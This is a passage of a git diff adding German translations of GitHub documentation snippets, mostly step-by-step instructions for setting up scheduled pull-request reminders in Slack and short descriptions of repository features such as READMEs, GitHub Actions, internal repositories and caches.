+++ b/translations/de-DE/data/reusables/releases/previous-release-tag.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 6c1028b5317c516b820ce129ea8f60534ad309af
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147062642"
+---
+{% ifversion previous-release-tag %} 
+1. Optional kannst du rechts oben im Feld mit dem Beschreibungstext das Dropdownmenü **Vorheriges Tag** auswählen und auf das Tag klicken, das das vorherige Release kennzeichnet.
+   ![Screenshot, der zeigt, wie ein Tag ausgewählt wird, um das vorherige Release zu bestimmen](/assets/images/help/releases/releases-tag-previous-release.png) {% endif %}
diff --git a/translations/de-DE/data/reusables/reminders/about-scheduled-reminders-teams-orgs.md b/translations/de-DE/data/reusables/reminders/about-scheduled-reminders-teams-orgs.md
new file mode 100644
index 0000000000..15d59f3fc3
--- /dev/null
+++ b/translations/de-DE/data/reusables/reminders/about-scheduled-reminders-teams-orgs.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 4d03029cacb202db6b95c5b6c30489b826b906d0
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145105856"
+---
+Geplante Erinnerungen helfen Teams, sich auf die wichtigsten Review Aufforderungen zu konzentrieren, die ihre Aufmerksamkeit erfordern. Geplante Erinnerungen für Pull Requests senden in Slack eine Nachricht an Dein Team mit allen offenen Pull Requests die Du oder Dein Team zu einem bestimmten Zeitpunkt überprüfen sollen. Du kannst z. B. eine geplante Erinnerung erstellen, um jeden Mittwoch um 9:00 Uhr in Slack eine Nachricht an den Haupt-Kommunikationskanal Deines Teams zu senden, einschließlich aller offenen Pull Requests, die das Team überprüfen soll.
diff --git a/translations/de-DE/data/reusables/reminders/add-reminder.md b/translations/de-DE/data/reusables/reminders/add-reminder.md
new file mode 100644
index 0000000000..04adbdee2b
--- /dev/null
+++ b/translations/de-DE/data/reusables/reminders/add-reminder.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 087c7aa8b788971ea169686a1208e34f7a653a0d
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145090847"
+---
+1. Klicke unter „Geplante Erinnerungen“ auf **Erste Erinnerung hinzufügen**.
+![Schaltfläche „Erinnerung hinzufügen“](/assets/images/help/settings/scheduled-reminders-add-button.png)
diff --git a/translations/de-DE/data/reusables/reminders/approved-prs.md b/translations/de-DE/data/reusables/reminders/approved-prs.md
new file mode 100644
index 0000000000..d987b6024d
--- /dev/null
+++ b/translations/de-DE/data/reusables/reminders/approved-prs.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 310988c2adb88f8af825a010c90244fd32238245
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145105855"
+---
+1. Um optional die geplanten Erinnerungen für bereits überprüfte und genehmigte Pull Requests zu deaktivieren, wähle **Genehmigte Pull Requests ignorieren** aus. Klicke dann auf **Bei mindestens einer Genehmigung ignorieren**, um auszuwählen, wie viele Genehmigungen ein Pull Request aufweisen muss, um ignoriert zu werden.
+![Kontrollkästchen „Genehmigte Pull Requests ignorieren“](/assets/images/help/settings/scheduled-reminders-ignore-approved-prs.png)
diff --git a/translations/de-DE/data/reusables/reminders/author-reviews.md b/translations/de-DE/data/reusables/reminders/author-reviews.md
new file mode 100644
index 0000000000..5a31c9a521
--- /dev/null
+++ b/translations/de-DE/data/reusables/reminders/author-reviews.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 7d445b4b27a92972683fa098e5d28ca5e713dd88
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145090846"
+---
+1. Um optional nach dem Erfüllen der Reviewanforderungen Erinnerungen an die Pull Request-Autoren zu senden, wähle **Autoren nach Reviews erinnern** aus, und wähle aus, wie viele Reviews erforderlich sind, bevor eine Erinnerung gesendet wird.
+![Kontrollkästchen „Autoren nach Reviews erinnern“](/assets/images/help/settings/scheduled-reminders-remind-authors.png)
diff --git a/translations/de-DE/data/reusables/reminders/authorize-slack.md b/translations/de-DE/data/reusables/reminders/authorize-slack.md
new file mode 100644
index 0000000000..9e0deba35d
--- /dev/null
+++ b/translations/de-DE/data/reusables/reminders/authorize-slack.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 18e8f021ab88bde33fc5ba8191b5b83d6da53ab7
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145105848"
+---
+1. Klicke unter „Slack-Arbeitsbereich“ auf **Slack-Arbeitsbereich autorisieren**, und folge den Anweisungen.
+![Schaltfläche „Slack-Arbeitsbereich autorisieren"](/assets/images/help/settings/scheduled-reminders-authorize-slack.png)
diff --git a/translations/de-DE/data/reusables/reminders/create-reminder.md b/translations/de-DE/data/reusables/reminders/create-reminder.md
new file mode 100644
index 0000000000..b7fabb2211
--- /dev/null
+++ b/translations/de-DE/data/reusables/reminders/create-reminder.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 00403cbcf836f30107fedf6fefb8c1d9b8cae429
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145090841"
+---
+1. Klicke auf **Erinnerung erstellen**.
diff --git a/translations/de-DE/data/reusables/reminders/days-dropdown.md b/translations/de-DE/data/reusables/reminders/days-dropdown.md
new file mode 100644
index 0000000000..1b1f5cfbe9
--- /dev/null
+++ b/translations/de-DE/data/reusables/reminders/days-dropdown.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 5958bf0e1455ebc127349b0ddda6d655a9bf825a
+ms.sourcegitcommit: 6edb015070d3f0fda4525c6c931f1324626345dc
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147885035"
+---
+1. Klicke unter „Tage“ auf **Wochentage** {% octicon "triangle-down" aria-label="The down triangle icon" %}, um einen oder mehrere Tage auszuwählen, an denen du geplante Erinnerungen erhalten möchtest.
+![Dropdownmenü „Tage“](/assets/images/help/settings/scheduled-reminders-days.png)
diff --git a/translations/de-DE/data/reusables/reminders/delete.md b/translations/de-DE/data/reusables/reminders/delete.md
new file mode 100644
index 0000000000..ae081759b6
--- /dev/null
+++ b/translations/de-DE/data/reusables/reminders/delete.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: bb7dbd30a8d608dbdc2454fa43e9bd19a92fff47
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145090840"
+---
+1. Klicke unten auf der Seite auf **Diese Erinnerung löschen**.
+![Schaltfläche zum Löschen einer geplanten Erinnerung](/assets/images/help/settings/scheduled-reminders-delete.png)
+1. Um zu bestätigen, dass du die geplante Erinnerung löschen möchtest, klicke auf **OK**.
diff --git a/translations/de-DE/data/reusables/reminders/edit-existing.md b/translations/de-DE/data/reusables/reminders/edit-existing.md
new file mode 100644
index 0000000000..6b5e9ade0d
--- /dev/null
+++ b/translations/de-DE/data/reusables/reminders/edit-existing.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 12b1ff09c002e81c4676b1ee93b9bfa29fb4a0bb
+ms.sourcegitcommit: 770ed406ec075528ec9c9695aa4bfdc8c8b25fd3
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147884867"
+---
+1. Klicke neben der geplanten Erinnerung, die du aktualisieren möchtest, auf **Bearbeiten**.
+![Vorhandene geplante Erinnerung bearbeiten](/assets/images/help/settings/scheduled-reminders-edit-existing.png)
diff --git a/translations/de-DE/data/reusables/reminders/edit-page.md b/translations/de-DE/data/reusables/reminders/edit-page.md
new file mode 100644
index 0000000000..b0bed26c8b
--- /dev/null
+++ b/translations/de-DE/data/reusables/reminders/edit-page.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 8cba1dcb8dc8560c38e56c3b6e5878c558773a0e
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145090835"
+---
+1. Nimm eine oder mehrere Änderungen an Deiner geplanten Erinnerung vor.
diff --git a/translations/de-DE/data/reusables/reminders/ignore-drafts.md b/translations/de-DE/data/reusables/reminders/ignore-drafts.md
new file mode 100644
index 0000000000..7e0e1a8b95
--- /dev/null
+++ b/translations/de-DE/data/reusables/reminders/ignore-drafts.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: d26ac2c686e2685f35abf8d2d4bbf8ebf19d6b41
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879252"
+---
+1. Wenn du optional Pull Request-Entwürfe von geplanten Erinnerungen ausschließen möchten, wähle **Entwürfe ignorieren** aus. Weitere Informationen findest du unter [Pull Requests entwerfen](/github/collaborating-with-issues-and-pull-requests/about-pull-requests#draft-pull-requests).
+![Kontrollkästchen „Pull-Request-Entwürfe Ignorieren](/assets/images/help/settings/scheduled-reminders-ignore-drafts.png)
diff --git a/translations/de-DE/data/reusables/reminders/ignored-labels.md b/translations/de-DE/data/reusables/reminders/ignored-labels.md
new file mode 100644
index 0000000000..63f840cc0a
--- /dev/null
+++ b/translations/de-DE/data/reusables/reminders/ignored-labels.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 94fc08772aa79b9721340f66c4e0afb15fee80bf
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145090834"
+---
+1. Gib unter "Ignored labels" (Ignorierte Kennzeichnungen) eine Komma-getrennte Liste von Bezeichnungen ein. Geplante Erinnerungen werden keine Pull Requests beinhalten, welche eine oder mehrere dieser Kennzeichnungen haben. 
+![Feld für ignorierte Bezeichnungen](/assets/images/help/settings/scheduled-reminders-ignored-labels-field.png)
diff --git a/translations/de-DE/data/reusables/reminders/ignored-terms.md b/translations/de-DE/data/reusables/reminders/ignored-terms.md
new file mode 100644
index 0000000000..635efa83a9
--- /dev/null
+++ b/translations/de-DE/data/reusables/reminders/ignored-terms.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 27f0d18510a2092e7f30f27d3e22b60f2087b8f3
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145105828"
+---
+1. Gib unter „Ignored Terms" (Ignorierte Begriffe) eine Komma-getrennte Liste von Begriffen ein, die in den Titeln von Pull Requests erscheinen können. Geplante Erinnerungen werden keine Pull Requests einschließen, welche eine oder mehrere dieser Begriffe in ihren Titeln beinhalten. 
+![Feld „Ignorierte Begriffe“](/assets/images/help/settings/scheduled-reminders-ignored-terms-field.png)
diff --git a/translations/de-DE/data/reusables/reminders/min-age.md b/translations/de-DE/data/reusables/reminders/min-age.md
new file mode 100644
index 0000000000..8949853cf5
--- /dev/null
+++ b/translations/de-DE/data/reusables/reminders/min-age.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: f100a240d1f02b25bf1ac55ba9cf84a87777692e
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145090829"
+---
+1. Unter „Minimum age" (Mindestalter) gib das Alter des Pull Requests in Stunden ein. Geplante Erinnerungen enthalten keine Pull Requests, die neuer sind als diese Altersgrenze.
+![Feld für ignorierte Bezeichnungen](/assets/images/help/settings/scheduled-reminders-min-age-field.png)
diff --git a/translations/de-DE/data/reusables/reminders/min-staleness.md b/translations/de-DE/data/reusables/reminders/min-staleness.md
new file mode 100644
index 0000000000..d69f7c81dd
--- /dev/null
+++ b/translations/de-DE/data/reusables/reminders/min-staleness.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: b3106024a259642955c124a0ea30460403504d86
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145105824"
+---
+1. Unter "Minimum staleness" (minimale Veraltung) gib die Zeit seit der letzten Aktivität auf einem Pull Request in Stunden ein. Geplante Erinnerungen werden keine Pull Requests beinhalten, deren letzte Aktivität aktueller war als dieses Zeitspanne.
+![Feld „Minimale Veraltung“](/assets/images/help/settings/scheduled-reminders-min-staleness-field.png)
diff --git a/translations/de-DE/data/reusables/reminders/no-review-requests.md b/translations/de-DE/data/reusables/reminders/no-review-requests.md
new file mode 100644
index 0000000000..0b5bf17247
--- /dev/null
+++ b/translations/de-DE/data/reusables/reminders/no-review-requests.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: f3c08113e35a39de26c1002994c09b647ab89ade
+ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145090828"
+---
+1. Wenn du optional nur Pull Requests einschließen möchtest, bei denen ein Review speziell vom Team oder einem Teammitglied angefordert wurde, wähle **Reviewanforderungen erforderlich** aus. Wenn du diese Option nicht wählst, sind alle Pull Requests in der geplanten Erinnerung enthalten. 
+![Kontrollkästchen zum Ignorieren von Pull Requests ohne Reviewanforderungen](/assets/images/help/settings/scheduled-reminders-prs-without-requests.png)
diff --git a/translations/de-DE/data/reusables/reminders/real-time-alerts.md b/translations/de-DE/data/reusables/reminders/real-time-alerts.md
new file mode 100644
index 0000000000..4a83baf6c4
--- /dev/null
+++ b/translations/de-DE/data/reusables/reminders/real-time-alerts.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 028a2b56726a640be2437a2b2c5afe7168b410e1
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145105823"
+---
+1. Um optional Slack-Nachrichten zu erhalten, sobald ein bestimmtes Ereignis eintritt, wähle **Warnungen in Echtzeit aktivieren**, und wähle die Ereignisse aus, für die du Warnungen in Echtzeit erhalten möchtest.
diff --git a/translations/de-DE/data/reusables/reminders/required-labels.md b/translations/de-DE/data/reusables/reminders/required-labels.md
new file mode 100644
index 0000000000..1482e9c114
--- /dev/null
+++ b/translations/de-DE/data/reusables/reminders/required-labels.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: d205117370fc0bec6b34c0e447376505492a8167
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147880180"
+---
+1. Gib unter „Required labels" (Erforderliche Kennzeichnungen) eine Komma-getrennte Liste von Beschriftungen ein. Geplante Erinnerungen werden nur bisher nicht ignorierte Pull Requests beinhalten, wenn sie eine oder mehrere dieser Kennzeichnungen haben. 
+![Feld „Benötigte Kennzeichnungen“](/assets/images/help/settings/scheduled-reminders-required-labels-field.png)
diff --git a/translations/de-DE/data/reusables/reminders/scheduled-reminders-limitations.md b/translations/de-DE/data/reusables/reminders/scheduled-reminders-limitations.md
new file mode 100644
index 0000000000..47c31a5b81
--- /dev/null
+++ b/translations/de-DE/data/reusables/reminders/scheduled-reminders-limitations.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: c636e9dfc67fd9e921a1ac73213c256c1480aa6b
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145105820"
+---
+{% data variables.product.product_name %} löst nur Erinnerungen für bis zu fünf Repositorys pro Besitzer und 20 Pull Requests pro Repository aus.
+ 
diff --git a/translations/de-DE/data/reusables/reminders/scheduled-reminders.md b/translations/de-DE/data/reusables/reminders/scheduled-reminders.md
new file mode 100644
index 0000000000..99e62ceade
--- /dev/null
+++ b/translations/de-DE/data/reusables/reminders/scheduled-reminders.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: f2ccce6de7de94071ad0af461d7d72b2e3c7a9a0
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145090798"
+---
+1. Klicke im Abschnitt „Integrationen“ der Randleiste auf **{% octicon "clock" aria-label="The clock icon" %} Geplante Erinnerungen**.
diff --git a/translations/de-DE/data/reusables/reminders/slack-channel.md b/translations/de-DE/data/reusables/reminders/slack-channel.md
new file mode 100644
index 0000000000..4aeb90ab52
--- /dev/null
+++ b/translations/de-DE/data/reusables/reminders/slack-channel.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 44f0589bb7706f982fcfd07b561eca301e5e9299
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145105816"
+---
+1. Gib unter "Slack channel" den Namen des Slack-Kanal ein, in dem Du Benachrichtigungen erhalten möchtest.
+![Feld „Slack-Kanal“](/assets/images/help/settings/scheduled-reminders-slack-channel.png)
diff --git a/translations/de-DE/data/reusables/reminders/times-dropdowns.md b/translations/de-DE/data/reusables/reminders/times-dropdowns.md
new file mode 100644
index 0000000000..0d57a7f585
--- /dev/null
+++ b/translations/de-DE/data/reusables/reminders/times-dropdowns.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: b988178b8586bb62e9b80904a967ccfb9a5f9e9f
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145090792"
+---
+1. Klicke unter „Zeit(en) auswählen“ auf **9:00 Uhr** {% octicon "triangle-down" aria-label="The down triangle icon" %}, um eine oder mehrere Uhrzeiten auszuwählen, zu denen du geplante Erinnerungen erhalten möchtest. Um optional deine Zeitzone zu ändern, klicke neben deiner aktuellen Zeitzone auf {% octicon "triangle-down" aria-label="The down triangle icon" %}, und wähle eine andere Zeitzone aus.
+![Dropdownmenüs zum Auswählen von Zeiten](/assets/images/help/settings/scheduled-reminders-times.png)
diff --git a/translations/de-DE/data/reusables/reminders/tracked-repos.md b/translations/de-DE/data/reusables/reminders/tracked-repos.md
new file mode 100644
index 0000000000..9728d39d42
--- /dev/null
+++ b/translations/de-DE/data/reusables/reminders/tracked-repos.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 70c50cf04a2ec2f58522902c2d0bc78ee87a3489
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145105815"
+---
+1. Wähle unter "Tracked Repositories" (verfolgte Repositorys) aus, für welche Repositorys das Team Erinnerungen für Pull-Request-Reviews erhalten soll.  
+   - Um Erinnerungen für alle Repositorys zu erhalten, auf die das ausgewählte Team zugreifen kann, klicke auf **Alle Repositorys**.  
+   - Um Erinnerungen für eine Teilmenge von Repositorys zu erhalten, klicke auf **Nur bestimmte Repositorys**, und wähle ein oder mehrere Repositorys aus, auf die das gewählte Team zugreifen kann.
+   
+  ![Wähle verfolgte Repositorys](/assets/images/help/settings/scheduled-reminders-tracked-repos.png)
diff --git a/translations/de-DE/data/reusables/reminders/update-buttons.md b/translations/de-DE/data/reusables/reminders/update-buttons.md
new file mode 100644
index 0000000000..d554b3b46d
--- /dev/null
+++ b/translations/de-DE/data/reusables/reminders/update-buttons.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: ee4e0aa1481ce7991a7da3d63226c7dfe161cbea
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145090787"
+---
+1. Klicke auf **Erinnerung aktualisieren**, um deine Änderungen zu speichern. Um deine Änderungen optional während der Aktualisierung der Änderungen zu testen, klicke auf **Erinnerung aktualisieren und testen**.
+![Schaltflächen zum Aktualisieren](/assets/images/help/settings/scheduled-reminders-update-buttons.png)
diff --git a/translations/de-DE/data/reusables/repositories/a-vulnerability-is.md b/translations/de-DE/data/reusables/repositories/a-vulnerability-is.md
new file mode 100644
index 0000000000..fa50417a9c
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/a-vulnerability-is.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 3f8507e8a705e72f76b19a85b53c2feb7c9d8003
+ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145105807"
+---
+Eine Sicherheitslücke ist ein Problem im Code eines Projekts, das ausgenutzt werden könnte, um die Vertraulichkeit, Integrität oder Verfügbarkeit des Projekts oder anderer Projekte, die seinen Code verwenden, zu beeinträchtigen. Sicherheitsrisiken variieren im Hinblick auf Typ, Schweregrad und Angriffsmethode.
diff --git a/translations/de-DE/data/reusables/repositories/about-READMEs.md b/translations/de-DE/data/reusables/repositories/about-READMEs.md
new file mode 100644
index 0000000000..0fa9496dbf
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/about-READMEs.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: a4b1ca4e0548ebc2be12a34e0bb1687e9e650038
+ms.sourcegitcommit: c2aa10a61db44ee111c09565b6114dd5c97b6e2e
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/14/2022
+ms.locfileid: "148163436"
+---
+Du kannst einem Repository eine README-Datei hinzufügen, um wichtige Informationen zu Deinem Projekt zu kommunizieren. Eine README-Datei in Verbindung mit einer Repositorylizenz, Zitatdatei{% ifversion fpt or ghec %}, Beitragsrichtlinien und Verhaltensregeln{% elsif ghes %} sowie Beitragsrichtlinien{% endif %} kommuniziert Erwartungen an Dein Projekt und unterstützt Dich bei der Verwaltung von Beiträgen.
\ No newline at end of file
diff --git a/translations/de-DE/data/reusables/repositories/about-github-actions.md b/translations/de-DE/data/reusables/repositories/about-github-actions.md
new file mode 100644
index 0000000000..d8638e9ece
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/about-github-actions.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ab87b5f07d97746b699f629bb3ba810e6c2e06fd
+ms.sourcegitcommit: 6edb015070d3f0fda4525c6c931f1324626345dc
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145090786"
+---
+{% data variables.product.prodname_actions %} helfen Dir, Deine Workflows für die Softwareentwicklung am gleichen Ort zu automatisieren, an dem Du Code speicherst und an Pull Requests und Issues mitarbeitest. Du kannst einzelne Aufgaben schreiben, Aktionen genannt, und diese kombinieren um einen benutzerdefinierten Workflow zu erstellen.
diff --git a/translations/de-DE/data/reusables/repositories/about-github-archive-program.md b/translations/de-DE/data/reusables/repositories/about-github-archive-program.md
new file mode 100644
index 0000000000..e837295926
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/about-github-archive-program.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 3c76627f868cade05336aaeca5ab588b8a2bca74
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145105796"
+---
+Standardmäßig sind alle öffentlichen Repositories in {% data variables.product.prodname_archive %} enthalten, welches eine Partnerschaft zwischen {% data variables.product.prodname_dotcom %} und Organisationen wie der Software Heritage Foundation und 'Internet Archive' ist, um die langfristige Erhaltung der weltweiten Open-Source-Software zu gewährleisten.
diff --git a/translations/de-DE/data/reusables/repositories/about-internal-repos.md b/translations/de-DE/data/reusables/repositories/about-internal-repos.md
new file mode 100644
index 0000000000..7f4c4971ab
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/about-internal-repos.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 6322818f4e2fd7520fb3cbd30dd7d63781323133
+ms.sourcegitcommit: 5b1461b419dbef60ae9dbdf8e905a4df30fc91b7
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147878979"
+---
+{% ifversion ghec %}Wenn deine Organisation zu einem Unternehmenskonto gehört, kannst du{% else %}Du kannst{% endif %} interne Repositorys als „Inner Source“ innerhalb deines Unternehmens verwenden. Mitglieder deines Unternehmens können über Open-Source-Verfahren zusammenarbeiten, ohne proprietäre Informationen öffentlich zu teilen{% ifversion ghes %}, auch wenn der private Modus deaktiviert ist{% endif %}.
diff --git a/translations/de-DE/data/reusables/repositories/accessing-repository-graphs.md b/translations/de-DE/data/reusables/repositories/accessing-repository-graphs.md
new file mode 100644
index 0000000000..71054c437e
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/accessing-repository-graphs.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 721e548c30a310f724df64803c303f3cca1094c4
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145105792"
+---
+1. Klicke unter deinem Repositorynamen auf {% octicon "graph" aria-label="The bar graph icon" %} **Erkenntnisse**.
+![Registerkarte „Erkenntnisse“ auf der Navigationsleiste des Hauptrepositorys](/assets/images/help/repository/repo-nav-insights-tab.png)
diff --git a/translations/de-DE/data/reusables/repositories/accessing-repository-people.md b/translations/de-DE/data/reusables/repositories/accessing-repository-people.md
new file mode 100644
index 0000000000..e890ff1074
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/accessing-repository-people.md
@@ -0,0 +1,10 @@
+---
+ms.openlocfilehash: 911957acb924927aee44b92daacf8b8e1fffa656
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145090781"
+---
+1. Klicke auf der linken Randleiste auf **Personen**.
+![Registerkarte „Personen“ auf der Repository-Randleiste](/assets/images/help/repository/accessing-repository-people.png)
diff --git a/translations/de-DE/data/reusables/repositories/action-root-user-required.md b/translations/de-DE/data/reusables/repositories/action-root-user-required.md
new file mode 100644
index 0000000000..585273d7cd
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/action-root-user-required.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 81695036af856b526d3d9483e36b36a06a85b7ee
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145105791"
+---
+**Hinweis**: {% data variables.product.prodname_actions %} müssen vom standardmäßigen Docker-Benutzer (Root) ausgeführt werden. Stelle sicher, dass dein Dockerfile nicht die `USER`-Anweisung festlegt, andernfalls kannst du nicht auf `GITHUB_WORKSPACE` zugreifen.
diff --git a/translations/de-DE/data/reusables/repositories/actions-cache-list.md b/translations/de-DE/data/reusables/repositories/actions-cache-list.md
new file mode 100644
index 0000000000..c8b26e8546
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/actions-cache-list.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 57a4650d10e6214e4c46c3965fd76df46d0eb739
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148106813"
+---
+1. Klicke in der linken Seitenleiste unter dem Abschnitt „Verwaltung“ auf {% octicon "cache" aria-label="The Cache icon" %} **Caches**.
diff --git a/translations/de-DE/data/reusables/repositories/actions-ci-cd.md b/translations/de-DE/data/reusables/repositories/actions-ci-cd.md
new file mode 100644
index 0000000000..1e3a149b07
--- /dev/null
+++ b/translations/de-DE/data/reusables/repositories/actions-ci-cd.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 5d94549ec7f8b9e5801dcbc8b0a99cc2d4564e9a
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
